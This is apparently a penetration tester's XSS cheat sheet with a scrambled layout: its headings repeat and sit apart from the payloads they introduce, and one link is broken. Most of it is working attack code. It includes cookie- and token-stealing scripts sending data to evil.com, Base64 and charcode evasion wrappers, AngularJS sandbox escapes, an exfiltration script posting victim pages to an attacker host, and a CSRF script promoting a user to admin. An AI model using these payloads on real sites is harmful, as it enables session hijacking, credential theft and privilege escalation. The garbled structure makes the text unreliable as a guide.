XSS (Cross-Site Scripting)
XSS enables attackers to injection client-side scripts into web applications.
- [portswigger.net](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-event-handlers-and-href-attributes-blocked)
- h[xss-without-parentheses-and-semi-colons](ttps://portswigger.net/research/xss-without-parentheses-and-semi-colons)
- [XSS Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)
- [XSS_Filter_Evasion_Cheat_Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html)
- [brutelogic.com.br](https://brutelogic.com.br/blog/building-xss-polyglots/)
- [Unleashing-an-Ultimate-XSS-Polyglot](https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot)
## Payloads
We can insert them into **URL params**, **POST params** or **HTTP headers**.
Additionary, we can also find CVE related XSS [here](https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=xss).
### Script Tags
In addition, we may be able to execute our JavaScript file which is hosted on our server.
### Img Tags
### SVG Tags
### Input Tags
### Select Tags
### Anchor Tags
### Iframe Tags
### Body Tags
### HTML Entity
Reference: [https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html#img-onerror-and-javascript-alert-encode](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html#img-onerror-and-javascript-alert-encode)
### Others
To find tags, events and payloads for XSS, we can see [Port Swigger's XSS Cheat Sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet).
## Payloads - JQuery
## Payloads - AngularJS If you find **``**, **``** or **`
<script>alert(1)</script>
"><script>alert(1)</script>
'></script><script>alert(1)</script>
<script>onerror=alert;throw 123</script>
<script>{onerror=alert}throw 123</script>
<script>throw onerror=alert,'hello',123,'world'</script>
<script>fetch('/profile?new_password=password');</script>
</textarea><script>alert(1)</script>
%3Cscript%3Ealert%281%29%3C%2Fscript%3E
';alert(1);'
" src=1 onerror=alert(1)>
<><img src=1 onerror=alert(1)>
"><img src=1 onerror=alert(1)>
"></span><img src=1 onerror=alert(1)>
<img src="javascript:alert(1)">
<img src="jav ascript:alert(1)">
<img src="jav	ascript:alert(1)">
<img src="jav
ascript:alert(1)">
<img dynsrc="javascript:alert(1)">
<img lowsrc="javascript:alert(1)">
<img src=http://10.0.0.1/>
"><svg onload=alert(1)>
<svg onmouseover="alert(1)"></svg>
<svg><animatetransform onclick="alert(1)"></svg>
<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click me</text></a>
<iframe src="javascript:alert(1)"></iframe>
<iframe src=http://10.0.0.1:8000/xss.js></iframe>
<iframe onload=alert(1)></iframe>
<!-- <img src=javascript:alert('XSS')> -->
<img src=javascript:alert('XSS')>
<!-- onerror="javascript:alert('XSS')" -->
<img src=x onerror="javascript:alert('XSS')">
" onmouseleave='alert(1)'">
javascript:alert(1)
\"-alert(1)//
/?q=&subparam=--><script>alert(1)</script>
/index.php#value='><script>alert(1)</script>
## Payloads - JQuery
https://example.com/#<img src=1 onerror=alert(1)>
<iframe src="https://example.com/#" onload="this.src+='<img src=1 onerror=alert(1)>'">
## Payloads - AngularJS If you find **``**, **``** or **`
`** in the HTML source code, you may be able to abuse it by XSS.
To perform XSS without **`$eval`** function and quotes, we might be able to take another approach.
[This PortSwigger's lab](https://portswigger.net/web-security/cross-site-scripting/contexts/client-side-template-injection/lab-angular-sandbox-escape-without-strings) provides the following payload. But sorry, I don’t understand how it works at the moment.
### AngularJS and CSP (Content Security Policy)
Reference: [PortSwigger's lab](https://portswigger.net/web-security/cross-site-scripting/contexts/client-side-template-injection/lab-angular-sandbox-escape-and-csp)
If the website uses AngularJS with CSP (**`ng-csp`**) as below,
We need to bypass them by using a focus event (**`ng-focus`**),
## Polyglot XSS
## Cookie Stealing ### One-line Payload We may retrieve the victim user cookie in our access log of `evil.com`. ### Another Approach Inject the following payload into input fields in a target website.
To retrieve data, start web server or listener in local machine.
## Filter Evasion ### Base64 & Eval Website may sanitize inputs to prevent from malicious code. However, we might be able to circumvent by modifying our code. For example, convert JavaScript code to Base64 string, then insert the base64 string into the **“eval”** function as below.
### Charcode & Eval
We can use charcode (we can generate easily in CiberChef with the Base10 option) of the payload as below.
Then create **`eval`** function to use it.
## Interact with Another Host via XML HTTP Request We might be able to send request the another host and retrieve the response. First, create a JavaScript file named **`exploit.js`** here. Replace **`http://evil.com`** with your local ip address. By this script, we send a request to **`http://sub.victim.com`** then fetch the response from the host. - **GET Request**
- **POST Request**
Now we start web server to host the `exploit.js` and listener to receive the response.
Then send a request with XSS to execute our payload (**`exploit.js`**).
Replace the **`evil.com`** with your local ip address.
We might fetch the response.
## CSRF The example below sends request to **`/admin`** on the victim site at first. And retrieve HTML document and get CSRF token. Next, insert the new **`form`** element to submit arbitrary POST data.
After that, we can inject the script above in XSS.
For example, encode the script as Base64, then put it into the XSS payload as below.
We might be able to get sensitive information or change crucial data on the target.
## Automation **[XSStrike](https://github.com/s0md3v/XSStrike)** is a XSS scanner.
## Register New User with XSS If the user name is reflected in the website, we might be able to inject XSS when registration.
## Key Logging Reference: [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS Injection#javascript-keylogger](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#javascript-keylogger)
https://example.com/?search={{$eval.constructor('alert(1)')()}}
https://example.com/?search={{$on.constructor('alert(1)')()}}
# toString() : Create a string without quotes.
# toString().constructor.prototype.charAt=[].join : Override `charAt` function for all strings with `[].join`.
# [1]|orderBy:toString().constructor.fromCharCode(...) : Pass an array to the `orderBy` filter.
# 120,61,97,108,101,114,116,40,49,41 : It means `x=alert(1)` in decimal.
https://example.com/?q=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
/?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
## Polyglot XSS
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
## Cookie Stealing ### One-line Payload We may retrieve the victim user cookie in our access log of `evil.com`. ### Another Approach Inject the following payload into input fields in a target website.
<script>fetch("http://evil.com/?"+btoa(document.cookie));</script>
<script>c=document.cookie;fetch(`http://evil.com/${c}`)</script>
<script>c=localStorage.getItem('access_token');fetch(`http://evil.com/${c}`)</script>
<!-- POST -->
<script>
fetch("http://10.0.0.1/", {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
</script>
## Filter Evasion ### Base64 & Eval Website may sanitize inputs to prevent from malicious code. However, we might be able to circumvent by modifying our code. For example, convert JavaScript code to Base64 string, then insert the base64 string into the **“eval”** function as below.
# ZmV0Y2goImh0dHA6Ly9ldmlsLmNvbS8iICsgZG9jdW1lbnQuY29va2llKTs= : fetch("http://evil.com/"+document.cookie);
<img src=x onerror="eval(decode64('ZmV0Y2goImh0dHA6Ly9ldmlsLmNvbS8iICsgZG9jdW1lbnQuY29va2llKTs='))">
# '(' => '\x28'
# ')' => '\x29'
<img src="x" onerror=eval.call`${"eval\x28atob`ZmV0Y2goImh0dHA6Ly9ldmlsLmNvbS8iICsgZG9jdW1lbnQuY29va2llKTs=`\x29"}`
fetch("http://evil.com/"+document.cookie);
# Charcode (Base10): 102,101,116,99,104,40,34,104,116,116,112,58,47,47,101,118,105,108,46,99,111,109,47,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59
<img src=x onerror="eval(String.fromCharCode(102,101,116,99,104,40,34,104,116,116,112,58,47,47,101,118,105,108,46,99,111,109,47,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59))">
## Interact with Another Host via XML HTTP Request We might be able to send request the another host and retrieve the response. First, create a JavaScript file named **`exploit.js`** here. Replace **`http://evil.com`** with your local ip address. By this script, we send a request to **`http://sub.victim.com`** then fetch the response from the host. - **GET Request**
// exploit.js
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = () => {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr_exfil = new XMLHttpRequest();
xhr_exfil.open('POST', "http://evil.com:1234/", false);
xhr_exfil.send(xhr.response);
}
};
xhr.open('GET', "http://victim.com/index.php", false);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send();
// exploit.js
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = () => {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr_exfil = new XMLHttpRequest();
xhr_exfil.open('POST', "http://evil.com:1234/", false);
xhr_exfil.send(xhr.response);
}
};
xhr.open('POST', "http://victim.com/login.php", false);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send("username=admin&password=admin");
## CSRF The example below sends request to **`/admin`** on the victim site at first. And retrieve HTML document and get CSRF token. Next, insert the new **`form`** element to submit arbitrary POST data.
var xhr = new XMLHttpRequest();
xhr.open("GET", "https://victim.com/admin", true);
xhr.send();
setTimeout(function() {
var doc = new DOMParser().parseFromString(xhr.responseText, 'text/html');
var token = doc.getElementById('csrf_token').value;
var evilDOM = new DOMParser().parseFromString('<form id="evilform" method="POST" action="/admin/change-user-status"><input type="hidden" name="csrf_token" value="temp"><input type="text" name="username" value="john"><input type="number" name="is_admin" value="0"><button name="button" type="submit">Submit</button></form>', 'text/html');
document.body.append(evilDOM.forms.evilform);
var evilForm = document.getElementById('evilform');
evilForm.elements.csrf_token.value = token;
evilForm.elements.is_admin.value = 1;
evilForm.submit();
}, 3000);
<!-- `dmFyIHh...DAwKTs=` is the Base64 encoded script above -->
<img src=x onerror=eval.call`${"eval\x28atob`dmFyIHh...DAwKTs=`\x29"}`>
## Automation **[XSStrike](https://github.com/s0md3v/XSStrike)** is a XSS scanner.
# GET request
python xsstrike.py -u http://vulnerable.com/?param=test
# POST reqeust
python xsstrike.py -u http://vulnerable.com/post --data "username=test&email=test&comment=test"
# data as JSON
python xsstrike.py -u http://vulnerable.com/comment --data '{"comment": "test"}' --json
## Register New User with XSS If the user name is reflected in the website, we might be able to inject XSS when registration.
## Key Logging Reference: [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS Injection#javascript-keylogger](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#javascript-keylogger)